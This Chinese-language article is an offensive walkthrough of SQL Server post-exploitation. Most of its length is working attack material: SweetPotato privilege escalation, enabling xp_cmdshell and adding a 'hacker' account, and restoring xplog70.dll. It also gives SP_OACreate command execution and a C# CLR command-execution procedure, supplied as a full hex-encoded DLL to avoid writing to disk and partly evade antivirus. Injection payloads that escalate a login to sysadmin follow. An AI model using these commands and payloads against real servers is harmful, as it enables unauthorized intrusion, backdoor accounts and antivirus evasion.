很多时候获取了webshell，内网横向的时候获取了sqlserver权限，但是权限不高。
查看目标机子不存在补丁编号KB3164038，那么首选漏洞编号MS16-075，烂土豆进行提权
这个可以适用于webshell情况下提权
https://github.com/uknowsec/SweetPotato
xpcmdshell命令执行
开启xpcmdshell一句话。前提 1、支持堆叠 2、扩展存储过程没被删除
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;exec master..xp_cmdshell “whoami”
exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
如果xpcmdshell组件被删除了，可以想办法把
C:Program FilesMicrosoft SQL ServerMSSQL10_50.SQLEXPRESSMSSQLBinn目录下的xplog70.dll上传到目标机子进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll'
SP_OACreate 命令执行
如果xpcmdshell属实没办法，那就可以用这个命令执行，这个不是提权，只是命令执行，但是没有回显。需要想办法看到内容，可能要配合一些任意文件下载漏洞。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;最好写入到temp目录下，因为权限问题原因。这个不是提权，只是命令执行，而且也没有回显。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\windows\temp\1.txt'
CLR提权
需要配合vs进行转储
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void CmdExec (String cmd)
{
// Put your code here
SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
}
public static string Command(string filename, string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
将生成后的dll文件转为16进制，使用winhex打开dll文件，然后右击edit→copy block→Hex value，然后黏贴到文本并在前面加上0x。这样子的话，可以实现dll文件不落地，某种程度上能绕开杀软。
0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300F02B6F600000000000000000E00002210B0108000008000000060000000000004E270000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000FC2600004F00000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A80200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D4050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076322E302E35303732370000000005006C000000E0010000237E00004C0200008C02000023537472696E677300000000D8040000580000002355530030050000100000002347554944000000400500009400000023426C6F620000000000000002000001471502000900000000FA013300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600380031000A0060004B000600A50085000600C50085000A00FE00E3000E00270114010E002F0114010600650131000A00B601E3000A00C2013F000A00CC01E3000A00DA01E3000A00E501E3000600110207020600310207020000000001000000000001000100010010001700000005000100010050200000000096006A000A0001001F21000000008618730010000200000001007900190073001400210073001000290073001000310073001000310040011E0039004E01230011005B01280041006C012C003900730123003900810132003900950132003100B0013700490073003B005900730043006100ED014A006900F6014F0031001E02550079003C02280009004602280059004F025A00690059024F0069006802100031007702100031008302100009007300100020001B0019002E000B006A002E001300730060000480000000000000000000000000000000006A000000020000000000000000000000010028000000000002000000000000000000000001003F000000000002000000000000000000000001003100000000000000003C4D6F64756C653E00636D645F657865632E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720065786563436F6D6D616E640053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500000000003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000F020AF8B5F7C4C4CBC714E06D9F781360008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002427000000000000000000003E27000000200000000000000000000000000000000000000000000030270000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000D00010049006E007400650072006E0061006C004E0061006D006500000063006D0064005F0065007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006D0064005F0065007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000以下步骤分别执行，其实也可以把go去掉，用分号连接起来。
-- Select the msdb database
use msdb
go
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300F02B6F600000000000000000E00002210B0108000008000000060000000000004E270000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000FC2600004F00000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A80200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D4050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300600C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076322E302E35303732370000000005006C000000E0010000237E00004C0200008C02000023537472696E677300000000D8040000580000002355530030050000100000002347554944000000400500009400000023426C6F620000000000000002000001471502000900000000FA013300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600380031000A0060004B000600A50085000600C50085000A00FE00E3000E00270114010E002F0114010600650131000A00B601E3000A00C2013F000A00CC01E3000A00DA01E3000A00E501E3000600110207020600310207020000000001000000000001000100010010001700000005000100010050200000000096006A000A0001001F21000000008618730010000200000001007900190073001400210073001000290073001000310073001000310040011E0039004E01230011005B01280041006C012C003900730123003900810132003900950132003100B0013700490073003B005900730043006100ED014A006900F6014F0031001E02550079003C02280009004602280059004F025A00690059024F0069006802100031007702100031008302100009007300100020001B0019002E000B006A002E001300730060000480000000000000000000000000000000006A000000020000000000000000000000010028000000000002000000000000000000000001003F000000000002000000000000000000000001003100000000000000003C4D6F64756C653E00636D645F657865632E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720065786563436F6D6D616E640053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500000000003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000F020AF8B5F7C4C4CBC714E06D9F781360008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002427000000000000000000003E27000000200000000000000000000000000000000000000000000030270000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000D00010049006E007400650072006E0061006C004E0061006D006500000063006D0064005F0065007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006D0064005F0065007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
exec cmd_exec 'whoami'
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
没有堆叠情况下的命令执行
但是前提是已经开启了xpcmdshell组件，如果该组件没有开启，就没办法通过if语句来进行命令执行了。
select 1 where 1=1 if 1=1 exec xp_cmdshell ‘whoami’;
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');堆叠注入下，sqlserver无回显
有时候支持堆叠注入，但是手工没有回显、sqlmap一跑就会被ban，但是1433端口对外开放的话，可以尝试一下添加sqlserver账户密码，然后登陆上去sqlserver数据库进行操作。
添加账户密码 注意密码复杂度要大小写加特殊字符
use master;exec sp_addlogin 用户名,密码
把创建的账户添加进管理员组
EXEC master..sp_addsrvrolemember @loginame = N'aufeng', @rolename = N'sysadmin'
这样子就可以通过添加的管理员账号密码登陆sqlserver，方便进行后续渗透了
原创文章，作者：guozi，如若转载，请注明出处：https://www.sudun.com/ask/88503.html
